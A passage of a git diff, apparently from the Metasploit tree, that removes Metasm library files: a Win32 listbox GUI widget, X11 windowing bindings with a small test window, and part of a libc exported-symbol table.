(@colwmax[i]+1)*@font_width + mi + (i < mm ? 1 : 0) - } - redraw - end - end - - def paint - @btnx = [] - @btny = 0 - if @btnheight != @font_height * 4/3 - # fix vscrollbar height on w7 - @btnheight = @font_height * 4/3 - resized(width, height) - end - x = 0 - @colw.each { |w| - @btnx << x - x += w - } - - x -= @sbh - y = @btnheight - @linehead = @sbv / @font_height - y -= @sbv % @font_height - tl = (@linesel || -1) - @linehead - @lineshown = @list[@linehead, (height-y)/@font_height+1].to_a.length - @list[@linehead, @lineshown].to_a.each { |l| - x = @btnx.first - @sbh - ct, cb = @color_callback[l] if @color_callback - ct ||= :text - cb ||= :textbg - ct, cb = :textsel, :textselbg if tl == 0 - tl -= 1 - draw_rectangle_color(cb, x, y, width-2*x, @font_height) - l.zip(@colw).each { |t, w| - draw_string_color(ct, x+@font_width/2, y, t[0, w/@font_width-1]) - x += w - } - y += @font_height - } - - @titles.zip(@colw, @btnx, @btndown).each { |t, w, bx, d| - x = bx - @sbh - y = @btny - h = @btnheight-1 - c1 = d ? :btnc2 : :btnc1 - c2 = d ? :btnc1 : :btnc2 - draw_rectangle_color(:background, x, y, w-1, h) - draw_line_color(c1, x, y, x, y+h) - draw_line_color(c1, x, y, x+w-1, y) - draw_line_color(c2, x+w-1, y+h, x, y+h) - draw_line_color(c2, x+w-1, y+h, x+w-1, y) - - cw = w/@font_width-1 - xo = [(cw-t.length) * @font_width/2, 0].max # center titles - draw_string_color(:label, x+@font_width/2+xo, y+@font_height/6, t[0, cw]) - } - end - - def keypress(key) - case key - when :up - if not @linesel - @linesel = @linehead - elsif @linesel > 0 - @linesel -= 1 - vscroll(@linesel*@font_height) if @linesel < @linehead - end - redraw - when :down - if not @linesel - @linesel = @linehead - elsif @linesel < @list.length-1 - @linesel += 1 - vscroll((@linesel-(@lineshown-1))*@font_height) if @linehead < @linesel-(@lineshown-1) - end - redraw - when :pgup - off = [@lineshown, [@lineshown/2, 5].max].min - if not @linesel - @linesel = @linehead - elsif @linesel != @linehead - @linesel = [@linehead, @linesel-off].max - else - @linesel = [0, @linehead-off].max - vscroll(@linesel*@font_height) - end - redraw - when :pgdown - n = @lineshown-1 - off = [@lineshown, [@lineshown/2, 5].max].min - if not @linesel - @linesel = @linehead+n - elsif @linesel != @linehead+n - @linesel = [@linehead+n, @linesel+off].min - else - vscroll((@linehead+off)*@font_height) - @linesel = [@linehead+n, @list.length-1].min - end - redraw - when :home - @linesel = 0 - vscroll(0) - redraw - when :end - @linesel = @list.length-1 - vscroll(@list.length*@font_height) - redraw - when :enter - if @linesel and @list[@linesel] - protect { @action.call(@list[@linesel]) } - end - when :esc - if not @btndown.compact.empty? - @btndown = [] - redraw - else - destroy - end - else return false - end - true - end - - def mouse_wheel(dir, x, y) - case dir - when :up - off = [@lineshown, [@lineshown/2, 5].max].min - vscroll((@linehead-off)*@font_height) - redraw - when :down - off = [@lineshown, [@lineshown/2, 5].max].min - vscroll((@linehead+off)*@font_height) - redraw - end - end - - def hscroll(val) - Win32Gui.setscrollpos(@hwnd, Win32Gui::SB_HORZ, val, Win32Gui::TRUE) - @sbh = Win32Gui.getscrollpos(@hwnd, Win32Gui::SB_HORZ) # clipping, etc - redraw - end - - def vscroll(val) - Win32Gui.setscrollpos(@hwnd, Win32Gui::SB_VERT, val, Win32Gui::TRUE) - @sbv = Win32Gui.getscrollpos(@hwnd, Win32Gui::SB_VERT) - redraw - end - - def xtobtn(x) - x += @sbh - if x < @btnx.first - return 0 - elsif x >= @btnx.last + @colw.last - return @btnx.length-1 - else - @btnx.zip(@colw).each_with_index { |(bx, bw), i| - return i if x >= bx and x < bx+bw - } - end - end - - def click(x, y) - if y >= @btny and y < @btny+@btnheight - # TODO column resize - @btndown[xtobtn(x)] = true - redraw - elsif y >= @btny+@btnheight - y += @sbv % @font_height - cy = @linehead + (y - @btny - @btnheight)/@font_height - if cy < @list.length - @linesel = cy - redraw - Gui.main_iter - protect { @action.call(@list[@linesel]) } - end - end - end - - def doubleclick(x, y) - if y >= @btny+@btnheight - return click(x, y) if @noclose_dblclick - y += @sbv % @font_height - cy = @linehead + (y - @btny - @btnheight)/@font_height - if cy < @list.length - destroy - Gui.main_iter - protect { @action.call(@list[@linesel]) } - end - end - end - - def mousemove(x, y) - if @btndown.compact.first - @btndown = [] - @btndown[xtobtn(x)] = true - redraw - end - end - - def mouserelease(x, y) - if @btndown.compact.first - @btndown = [] - col = xtobtn(x) - cursel = @list[@linesel] if @linesel - if @list_ints[col] - nlist = @list.sort_by { |a| [a[col].to_i, a] } - else - nlist = @list.sort_by { |a| [a[col], a] } - end - nlist.reverse! if nlist == @list - @list = nlist - @linehead = 0 - if cursel - @linesel = @list.index(cursel) - @linehead = @linesel - (@lineshown-1) if @linehead < @linesel-(@lineshown-1) - end - redraw - end - end - - def destroy - @parent.destroy - end -end - def initialize_window(title, list, opts={}, &b) - @ondestroy = opts[:ondestroy] - self.title = title - self.widget = LBoxWidget.new(list, opts, &b) - end - - def destroy_window - @ondestroy.call if @ondestroy - super() - end - - def windowproc(hwnd, msg, wparam, lparam) - case msg - when Win32Gui::WM_HSCROLL - sif = Win32Gui.alloc_c_struct('SCROLLINFO', :cbsize => :size, :fmask => Win32Gui::SIF_ALL) - Win32Gui.getscrollinfo(@hwnd, Win32Gui::SB_HORZ, sif) - case wparam & 0xffff - when Win32Gui::SB_THUMBPOSITION; val = sif.ntrackpos - when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos - when Win32Gui::SB_LINELEFT; val = sif.npos - 1 - when Win32Gui::SB_LINERIGHT; val = sif.npos + 1 - when Win32Gui::SB_PAGELEFT; val = sif.npos - sif.npage - when Win32Gui::SB_PAGERIGHT; val = sif.npos + sif.npage - else return 0 - end - @widget.hscroll val - when Win32Gui::WM_VSCROLL - sif = Win32Gui.alloc_c_struct('SCROLLINFO', :cbsize => :size, :fmask => Win32Gui::SIF_ALL) - Win32Gui.getscrollinfo(@hwnd, Win32Gui::SB_VERT, sif) - case wparam & 0xffff - when Win32Gui::SB_THUMBPOSITION; val = sif.ntrackpos - when Win32Gui::SB_THUMBTRACK; val = sif.ntrackpos #; nopos = true - when Win32Gui::SB_LINEDOWN; val = sif.npos + 1 - when Win32Gui::SB_LINEUP; val = sif.npos - 1 - when Win32Gui::SB_PAGEDOWN; val = sif.npos + sif.npage - when Win32Gui::SB_PAGEUP; val = sif.npos - sif.npage - else return 0 - end - @widget.vscroll val - else return super(hwnd, msg, wparam, lparam) - end - 0 - end -end - -def Gui.main - @idle_procs ||= [] - msg = Win32Gui.alloc_c_struct('MSG') - loop do - if Win32Gui.peekmessagea(msg, 0, 0, 0, Win32Gui::PM_NOREMOVE) != 0 or - Win32Gui.msgwaitformultipleobjects(0, 0, Win32Gui::FALSE, 500, - Win32Gui::QS_ALLINPUT) != Win32Gui::WAIT_TIMEOUT - ret = Win32Gui.getmessagea(msg, 0, 0, 0) - break if ret == 0 - raise Win32Gui.last_error_msg if ret < 0 - Win32Gui.translatemessage(msg) - Win32Gui.dispatchmessagea(msg) - end - while not @idle_procs.empty? and Win32Gui.peekmessagea(msg, 0, 0, 0, Win32Gui::PM_NOREMOVE) == 0 - @idle_procs.delete_if { |ip| not ip.call } - end - end - msg[:wparam] -end - -def Gui.main_quit - Win32Gui.postquitmessage(0) -end - -def Gui.main_iter - msg = Win32Gui.alloc_c_struct('MSG') - while Win32Gui.peekmessagea(msg, 0, 0, 0, Win32Gui::PM_REMOVE) != 0 - Win32Gui.translatemessage(msg) - Win32Gui.dispatchmessagea(msg) - end -end - -# add a lambda to be run whenever the messageloop is idle -# the lambda is removed if it returns nil/false -def Gui.idle_add(&b) - @idle_procs ||= [] - @idle_procs << b -end - -end -end - -require 'metasm/gui/dasm_main' -require 'metasm/gui/debug' - diff --git a/lib/metasm/metasm/gui/x11.rb b/lib/metasm/metasm/gui/x11.rb deleted file mode 100644 index e4e411a546..0000000000 --- a/lib/metasm/metasm/gui/x11.rb +++ /dev/null @@ -1,621 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/dynldr' - -module Metasm -module Gui -class XGui < DynLdr - new_api_c <<EOS, 'libX11.so' -#define KeyPressMask (1L<<0) -#define KeyReleaseMask (1L<<1) -#define ButtonPressMask (1L<<2) -#define ButtonReleaseMask (1L<<3) -#define EnterWindowMask (1L<<4) -#define LeaveWindowMask (1L<<5) -#define PointerMotionMask (1L<<6) -#define PointerMotionHintMask (1L<<7) -#define Button1MotionMask (1L<<8) -#define Button2MotionMask (1L<<9) -#define Button3MotionMask (1L<<10) -#define Button4MotionMask (1L<<11) -#define Button5MotionMask (1L<<12) -#define ButtonMotionMask (1L<<13) -#define KeymapStateMask (1L<<14) -#define ExposureMask (1L<<15) -#define VisibilityChangeMask (1L<<16) -#define StructureNotifyMask (1L<<17) -#define ResizeRedirectMask (1L<<18) -#define SubstructureNotifyMask (1L<<19) -#define SubstructureRedirectMask (1L<<20) -#define FocusChangeMask (1L<<21) -#define PropertyChangeMask (1L<<22) -#define ColormapChangeMask (1L<<23) -#define OwnerGrabButtonMask (1L<<24) - -#define KeyPress 2 -#define KeyRelease 3 -#define ButtonPress 4 -#define ButtonRelease 5 -#define MotionNotify 6 -#define EnterNotify 7 -#define LeaveNotify 8 -#define FocusIn 9 -#define FocusOut 10 -#define KeymapNotify 11 -#define Expose 12 -#define GraphicsExpose 13 -#define NoExpose 14 -#define VisibilityNotify 15 -#define CreateNotify 16 -#define DestroyNotify 17 -#define UnmapNotify 18 -#define MapNotify 19 -#define MapRequest 20 -#define ReparentNotify 21 -#define ConfigureNotify 22 -#define ConfigureRequest 23 -#define GravityNotify 24 -#define ResizeRequest 25 -#define CirculateNotify 26 -#define CirculateRequest 27 -#define PropertyNotify 28 -#define SelectionClear 29 -#define SelectionRequest 30 -#define SelectionNotify 31 -#define ColormapNotify 32 -#define ClientMessage 33 -#define MappingNotify 34 -#define GenericEvent 35 -#define LASTEvent 36 /* must be bigger than any event # */ - -typedef unsigned long Atom; -typedef unsigned long Time; -typedef unsigned long XID; -struct _XDisplay; - -typedef XID Colormap; -typedef struct _XDisplay Display; -typedef XID Drawable; -typedef XID Font; -typedef struct _XGC *GC; -typedef XID Pixmap; -typedef XID Window; - -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; -} XAnyEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Window root; - Window subwindow; - Time time; - int x; - int y; - int x_root; - int y_root; - unsigned int state; - unsigned int button; - int same_screen; -} XButtonEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; - int place; -} XCirculateEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window parent; - Window window; - int place; -} XCirculateRequestEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Atom message_type; - int format; - - union { - char b[20]; - short s[10]; - long l[5]; - } data; -} XClientMessageEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Colormap colormap; - int new; - int state; -} XColormapEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; - int x; - int y; - int width; - int height; - int border_width; - Window above; - int override_redirect; -} XConfigureEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window parent; - Window window; - int x; - int y; - int width; - int height; - int border_width; - Window above; - int detail; - unsigned long value_mask; -} XConfigureRequestEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window parent; - Window window; - int x; - int y; - int width; - int height; - int border_width; - int override_redirect; -} XCreateWindowEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Window root; - Window subwindow; - Time time; - int x; - int y; - int x_root; - int y_root; - int mode; - int detail; - int same_screen; - int focus; - unsigned int state; -} XCrossingEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; -} XDestroyWindowEvent; -typedef -struct { - int type; - Display *display; - XID resourceid; - unsigned long serial; - unsigned char error_code; - unsigned char request_code; - unsigned char minor_code; -} XErrorEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - int x; - int y; - int width; - int height; - int count; -} XExposeEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - int mode; - int detail; -} XFocusChangeEvent; -typedef -struct { - int function; - unsigned long plane_mask; - unsigned long foreground; - unsigned long background; - int line_width; - int line_style; - int cap_style; - int join_style; - int fill_style; - int fill_rule; - int arc_mode; - Pixmap tile; - Pixmap stipple; - int ts_x_origin; - int ts_y_origin; - Font font; - int subwindow_mode; - int graphics_exposures; - int clip_x_origin; - int clip_y_origin; - Pixmap clip_mask; - int dash_offset; - char dashes; -} XGCValues; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - int extension; - int evtype; -} XGenericEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - int extension; - int evtype; - unsigned int cookie; - void *data; -} XGenericEventCookie; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Drawable drawable; - int x; - int y; - int width; - int height; - int count; - int major_code; - int minor_code; -} XGraphicsExposeEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; - int x; - int y; -} XGravityEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Window root; - Window subwindow; - Time time; - int x; - int y; - int x_root; - int y_root; - unsigned int state; - unsigned int keycode; - int same_screen; -} XKeyEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - char key_vector[32]; -} XKeymapEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; - int override_redirect; -} XMapEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window parent; - Window window; -} XMapRequestEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - int request; - int first_keycode; - int count; -} XMappingEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Window root; - Window subwindow; - Time time; - int x; - int y; - int x_root; - int y_root; - unsigned int state; - char is_hint; - int same_screen; -} XMotionEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Drawable drawable; - int major_code; - int minor_code; -} XNoExposeEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Atom atom; - Time time; - int state; -} XPropertyEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; - Window parent; - int x; - int y; - int override_redirect; -} XReparentEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - int width; - int height; -} XResizeRequestEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - Atom selection; - Time time; -} XSelectionClearEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window requestor; - Atom selection; - Atom target; - Atom property; - Time time; -} XSelectionEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window owner; - Window requestor; - Atom selection; - Atom target; - Atom property; - Time time; -} XSelectionRequestEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window event; - Window window; - int from_configure; -} XUnmapEvent; -typedef -struct { - int type; - unsigned long serial; - int send_event; - Display *display; - Window window; - int state; -} XVisibilityEvent; - -union _XEvent { - int type; - XAnyEvent xany; - XKeyEvent xkey; - XButtonEvent xbutton; - XMotionEvent xmotion; - XCrossingEvent xcrossing; - XFocusChangeEvent xfocus; - XExposeEvent xexpose; - XGraphicsExposeEvent xgraphicsexpose; - XNoExposeEvent xnoexpose; - XVisibilityEvent xvisibility; - XCreateWindowEvent xcreatewindow; - XDestroyWindowEvent xdestroywindow; - XUnmapEvent xunmap; - XMapEvent xmap; - XMapRequestEvent xmaprequest; - XReparentEvent xreparent; - XConfigureEvent xconfigure; - XGravityEvent xgravity; - XResizeRequestEvent xresizerequest; - XConfigureRequestEvent xconfigurerequest; - XCirculateEvent xcirculate; - XCirculateRequestEvent xcirculaterequest; - XPropertyEvent xproperty; - XSelectionClearEvent xselectionclear; - XSelectionRequestEvent xselectionrequest; - XSelectionEvent xselection; - XColormapEvent xcolormap; - XClientMessageEvent xclient; - XMappingEvent xmapping; - XErrorEvent xerror; - XKeymapEvent xkeymap; - XGenericEvent xgeneric; - XGenericEventCookie xcookie; - long pad[24]; -}; - - -typedef union _XEvent XEvent; - -int XCloseDisplay(Display*); -Window XCreateSimpleWindow(Display*, Window, int, int, unsigned int, unsigned int, unsigned int, unsigned long, unsigned long); -int XDestroyWindow(Display*, Window); -Display *XOpenDisplay(const char*); -int XSelectInput(Display*, Window, long); -int XSetForeground(Display*, GC, unsigned long); -int XStoreName(Display*, Window, const char*); -GC XCreateGC(Display*, Drawable, unsigned long, XGCValues*); -int XNextEvent(Display*, XEvent*); -int XDefaultScreen(Display*); -int XDefaultRootWindow(Display*); -int XRootWindow(Display*, int); -int XDefaultColormap(Display*, int); -int XBlackPixel(Display*, int); -int XWhitePixel(Display*, int); -int XMapWindow(Display*, Window); -int XFillRectangle(Display*, Window, GC, int, int, int, int); -int XDrawLine(Display*, Window, GC, int, int, int, int); -int XDrawString(Display*, Drawable, GC, int, int, const char*, int); -int XLookupKeysym(XEvent*, int); -EOS - -def self.test - d = xopendisplay(nil) - s = xdefaultscreen(d) - #cmap = xdefaultcolormap(d, s) - w = xcreatesimplewindow(d, xdefaultrootwindow(d), 0, 0, 28, 28, 0, xblackpixel(d, s), xblackpixel(d, s)) - xstorename(d, w, "lol") - gc = xcreategc(d, w, 0, 0) - xsetforeground(d, gc, xwhitepixel(d, s)) - xselectinput(d, w, EXPOSUREMASK|KEYPRESSMASK|BUTTONPRESSMASK) - xmapwindow(d, w) - msg = alloc_c_struct('XEvent') -str = 'llllmmmml' -x = 12 -y = 20 - loop { - xnextevent(d, msg) - case msg['type'] - when EXPOSE - #xsetforeground(d, gc, col) - #xdrawrectangle(d, w, gc, x, y+8, 30, 30) - xfillrectangle(d, w, gc, x, y+8, 30, 30) - xdrawline(d, w, gc, x, y+38, x+30, y+53) - xdrawstring(d, w, gc, x, y, str, str.length) - when KEYPRESS - k = xlookupkeysym(msg, 0) - p k - when BUTTONPRESS - break - end - } - xdestroywindow(d, w) - xclosedisplay(d) -end - -test - -end -end -end - -#require 'metasm/gui/dasm_main' -#require 'metasm/gui/debug' - diff --git a/lib/metasm/metasm/os/gnu_exports.rb b/lib/metasm/metasm/os/gnu_exports.rb deleted file mode 100644 index 1fe2762e02..0000000000 --- a/lib/metasm/metasm/os/gnu_exports.rb +++ /dev/null @@ -1,270 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm -class GNUExports - # exported symbol name => exporting library name for common libraries - # used by ELF#automagic_symbols - EXPORT = {} - # see samples/elf_listexports for the generator of this data - data = <<EOL # XXX libraries do not support __END__/DATA... -libc.so.6 - _IO_adjust_column _IO_adjust_wcolumn _IO_default_doallocate _IO_default_finish _IO_default_pbackfail _IO_default_uflow _IO_default_xsgetn _IO_default_xsputn - _IO_do_write _IO_do_write _IO_doallocbuf _IO_fclose _IO_fclose _IO_fdopen _IO_fdopen _IO_feof _IO_ferror _IO_fflush _IO_fgetpos _IO_fgetpos _IO_fgetpos64 - _IO_fgetpos64 _IO_fgets _IO_file_attach _IO_file_attach _IO_file_close _IO_file_close_it _IO_file_close_it _IO_file_doallocate _IO_file_finish _IO_file_fopen - _IO_file_fopen _IO_file_init _IO_file_init _IO_file_open _IO_file_overflow _IO_file_overflow _IO_file_read _IO_file_seek _IO_file_seekoff _IO_file_seekoff - _IO_file_setbuf _IO_file_setbuf _IO_file_stat _IO_file_sync _IO_file_sync _IO_file_underflow _IO_file_underflow _IO_file_write _IO_file_write _IO_file_xsputn - _IO_file_xsputn _IO_flockfile _IO_flush_all _IO_flush_all_linebuffered _IO_fopen _IO_fopen _IO_fputs _IO_fread _IO_free_backup_area _IO_free_wbackup_area - _IO_fsetpos _IO_fsetpos _IO_fsetpos64 _IO_fsetpos64 _IO_ftell _IO_ftrylockfile _IO_funlockfile _IO_fwrite _IO_getc _IO_getline _IO_getline_info _IO_gets - _IO_init _IO_init_marker _IO_init_wmarker _IO_iter_begin _IO_iter_end _IO_iter_file _IO_iter_next _IO_least_wmarker _IO_link_in _IO_list_lock - _IO_list_resetlock _IO_list_unlock _IO_marker_delta _IO_marker_difference _IO_padn _IO_peekc_locked _IO_popen _IO_popen _IO_printf _IO_proc_close - _IO_proc_close _IO_proc_open _IO_proc_open _IO_putc _IO_puts _IO_remove_marker _IO_seekmark _IO_seekoff _IO_seekpos _IO_seekwmark _IO_setb _IO_setbuffer - _IO_setvbuf _IO_sgetn _IO_sprintf _IO_sputbackc _IO_sputbackwc _IO_sscanf _IO_str_init_readonly _IO_str_init_static _IO_str_overflow _IO_str_pbackfail - _IO_str_seekoff _IO_str_underflow _IO_sungetc _IO_sungetwc _IO_switch_to_get_mode _IO_switch_to_main_wget_area _IO_switch_to_wbackup_area - _IO_switch_to_wget_mode _IO_un_link _IO_ungetc _IO_unsave_markers _IO_unsave_wmarkers _IO_vfprintf _IO_vfscanf _IO_vsprintf _IO_wdefault_doallocate - _IO_wdefault_finish _IO_wdefault_pbackfail _IO_wdefault_uflow _IO_wdefault_xsgetn _IO_wdefault_xsputn _IO_wdo_write _IO_wdoallocbuf _IO_wfile_overflow - _IO_wfile_seekoff _IO_wfile_sync _IO_wfile_underflow _IO_wfile_xsputn _IO_wmarker_delta _IO_wsetb _Unwind_Find_FDE __adjtimex __argz_count __argz_next - __argz_stringify __asprintf __assert __assert_fail __assert_perror_fail __backtrace __backtrace_symbols __backtrace_symbols_fd __bsd_getpgrp __bzero - __chk_fail __clone __cmpdi2 __cmsg_nxthdr __confstr_chk __ctype_b_loc __ctype_tolower_loc __ctype_toupper_loc __cxa_atexit __cxa_finalize - __cyg_profile_func_enter __cyg_profile_func_exit __dcgettext __default_morecore __deregister_frame __deregister_frame_info __deregister_frame_info_bases - __dgettext __divdi3 __dup2 __duplocale __endmntent __errno_location __fbufsize __ffs __fgets_chk __fgets_unlocked_chk __fgetws_chk __fgetws_unlocked_chk - __finite __finitef __finitel __fixunsdfdi __fixunsxfdi __flbf __floatdidf __fork __fpending __fprintf_chk __fpurge __frame_state_for __freadable __freading - __freelocale __fsetlocking __fwprintf_chk __fwritable __fwriting __fxstat __fxstat64 __fxstat64 __fxstatat __fxstatat64 __gai_sigqueue __gconv_get_alias_db - __gconv_get_cache __gconv_get_modules_db __getcwd_chk __getdomainname_chk __getgroups_chk __gethostname_chk __getlogin_r_chk __getmntent_r __getpagesize - __getpgid __getpid __gets_chk __gettimeofday __getwd_chk __gmtime_r __h_errno_location __internal_endnetgrent __internal_getnetgrent_r __internal_setnetgrent - __isalnum_l __isalpha_l __isblank_l __iscntrl_l __isctype __isdigit_l __isgraph_l __isinf __isinff __isinfl __islower_l __isnan __isnanf __isnanl __isprint_l - __ispunct_l __isspace_l __isupper_l __iswalnum_l __iswalpha_l __iswblank_l __iswcntrl_l __iswctype __iswctype_l __iswdigit_l __iswgraph_l __iswlower_l - __iswprint_l __iswpunct_l __iswspace_l __iswupper_l __iswxdigit_l __isxdigit_l __ivaliduser __libc_allocate_rtsig __libc_allocate_rtsig_private __libc_calloc - __libc_current_sigrtmax __libc_current_sigrtmax_private __libc_current_sigrtmin __libc_current_sigrtmin_private __libc_dl_error_tsd __libc_dlclose - __libc_dlopen_mode __libc_dlsym __libc_fatal __libc_fork __libc_free __libc_freeres __libc_init_first __libc_longjmp __libc_mallinfo __libc_malloc - __libc_mallopt __libc_memalign __libc_msgrcv __libc_msgsnd __libc_pthread_init __libc_pvalloc __libc_pwrite __libc_realloc __libc_sa_len __libc_siglongjmp - __libc_start_main __libc_system __libc_thread_freeres __libc_valloc __lxstat __lxstat64 __lxstat64 __mbrlen __mbrtowc __mbsnrtowcs_chk __mbsrtowcs_chk - __mbstowcs_chk __memcpy_by2 __memcpy_by4 __memcpy_c __memcpy_chk __memcpy_g __memmove_chk __mempcpy __mempcpy_by2 __mempcpy_by4 __mempcpy_byn __mempcpy_chk - __mempcpy_small __memset_cc __memset_ccn_by2 __memset_ccn_by4 __memset_cg __memset_chk __memset_gcn_by2 __memset_gcn_by4 __memset_gg __moddi3 __modify_ldt - __monstartup __newlocale __nl_langinfo_l __nss_configure_lookup __nss_database_lookup __nss_disable_nscd __nss_group_lookup __nss_hostname_digits_dots - __nss_hosts_lookup __nss_lookup_function __nss_next __nss_passwd_lookup __nss_services_lookup __open_catalog __overflow __pipe __poll __pread64_chk - __pread_chk __printf_chk __printf_fp __profile_frequency __ptsname_r_chk __rawmemchr __read_chk __readlink_chk __readlinkat_chk __realpath_chk __recv_chk - __recvfrom_chk __register_atfork __register_frame __register_frame_info __register_frame_info_bases __register_frame_info_table - __register_frame_info_table_bases __register_frame_table __res_iclose __res_init __res_maybe_init __res_nclose __res_ninit __res_randomid __res_state - __rpc_thread_createerr __rpc_thread_svc_fdset __rpc_thread_svc_max_pollfd __rpc_thread_svc_pollfd __sbrk __sched_cpucount __sched_get_priority_max - __sched_get_priority_min __sched_getparam __sched_getscheduler __sched_setscheduler __sched_yield __secure_getenv __select __setmntent __setpgid __sigaddset - __sigdelset __sigismember __signbit __signbitf __signbitl __sigpause __sigsetjmp __sigsuspend __snprintf_chk __sprintf_chk __stack_chk_fail __statfs __stpcpy - __stpcpy_chk __stpcpy_g __stpcpy_small __stpncpy __stpncpy_chk __strcasecmp __strcasecmp_l __strcasestr __strcat_c __strcat_chk __strcat_g __strchr_c - __strchr_g __strchrnul_c __strchrnul_g __strcmp_gg __strcoll_l __strcpy_chk __strcpy_g __strcpy_small __strcspn_c1 __strcspn_c2 __strcspn_c3 __strcspn_cg - __strcspn_g __strdup __strerror_r __strfmon_l __strftime_l __strlen_g __strncasecmp_l __strncat_chk __strncat_g __strncmp_g __strncpy_by2 __strncpy_by4 - __strncpy_byn __strncpy_chk __strncpy_gg __strndup __strpbrk_c2 __strpbrk_c3 __strpbrk_cg __strpbrk_g __strrchr_c __strrchr_g __strsep_1c __strsep_2c - __strsep_3c __strsep_g __strspn_c1 __strspn_c2 __strspn_c3 __strspn_cg __strspn_g __strstr_cg __strstr_g __strtod_internal __strtof_internal __strtok_r - __strtok_r_1c __strtol_internal __strtold_internal __strtoll_internal __strtoq_internal __strtoul_internal __strtoull_internal __strtouq_internal __strverscmp - __strxfrm_l __swprintf_chk __sysconf __sysctl __syslog_chk __sysv_signal __tolower_l __toupper_l __towctrans __towctrans_l __towlower_l __towupper_l - __ttyname_r_chk __ucmpdi2 __udivdi3 __uflow __umoddi3 __underflow __uselocale __vfork __vfprintf_chk __vfscanf __vfwprintf_chk __vprintf_chk __vsnprintf_chk - __vsprintf_chk __vswprintf_chk __vsyslog_chk __vwprintf_chk __waitpid __wcpcpy_chk __wcpncpy_chk __wcrtomb_chk __wcscasecmp_l __wcscat_chk __wcscoll_l - __wcscpy_chk __wcsftime_l __wcsncasecmp_l __wcsncat_chk __wcsncpy_chk __wcsnrtombs_chk __wcsrtombs_chk __wcstod_internal __wcstof_internal __wcstol_internal - __wcstold_internal __wcstoll_internal __wcstombs_chk __wcstoul_internal __wcstoull_internal __wcsxfrm_l __wctomb_chk __wctrans_l __wctype_l __wmemcpy_chk - __wmemmove_chk __wmempcpy_chk __wmemset_chk __woverflow __wprintf_chk __wuflow __wunderflow __xmknod __xmknodat __xpg_basename __xpg_strerror_r __xstat - __xstat64 __xstat64 _authenticate _dl_addr _dl_mcount_wrapper _dl_mcount_wrapper_check _dl_sym _dl_vsym _exit _mcleanup _mcount _nss_files_parse_grent - _nss_files_parse_pwent _nss_files_parse_spent _obstack_allocated_p _obstack_begin _obstack_begin_1 _obstack_free _obstack_memory_used _obstack_newchunk - _rpc_dtablesize _seterr_reply _setjmp _tolower _toupper a64l abort abs acct addseverity alarm alphasort alphasort64 alphasort64 argz_delete asctime atexit - atof atoi atol atoll authdes_create authdes_getucred authdes_pk_create authnone_create authunix_create authunix_create_default basename bcopy bdflush bind - bindresvport bsearch callrpc capget capset catclose catgets catopen cbc_crypt cfgetispeed cfgetospeed cfmakeraw cfsetispeed cfsetospeed cfsetspeed chflags - chown chown chroot clearerr clearerr_unlocked clnt_broadcast clnt_create clnt_pcreateerror clnt_perrno clnt_perror clnt_spcreateerror clnt_sperrno - clnt_sperror clntraw_create clnttcp_create clntudp_bufcreate clntudp_create clntunix_create clock closelog confstr creat64 create_module ctermid ctime ctime_r - cuserid daemon delete_module des_setparity difftime dirfd dirname div dprintf drand48 drand48_r dysize ecb_crypt ecvt ecvt_r endaliasent endfsent endgrent - endhostent endnetent endnetgrent endprotoent endpwent endrpcent endservent endspent endttyent endusershell endutxent envz_add envz_entry envz_get envz_merge - envz_remove envz_strip epoll_create epoll_ctl epoll_pwait epoll_wait erand48 err errx ether_aton ether_aton_r ether_hostton ether_line ether_ntoa ether_ntoa_r - ether_ntohost execl execle execlp execv execvp exit faccessat fattach fchflags fchmodat fchownat fclose fclose fcvt fcvt_r fdatasync fdetach fdopen fdopen - feof_unlocked ferror_unlocked fexecve fflush_unlocked ffs ffsll fgetgrent fgetpos fgetpos fgetpos64 fgetpos64 fgetpwent fgets_unlocked fgetspent fgetws - fgetws_unlocked fgetxattr fileno flistxattr fmemopen fmtmsg 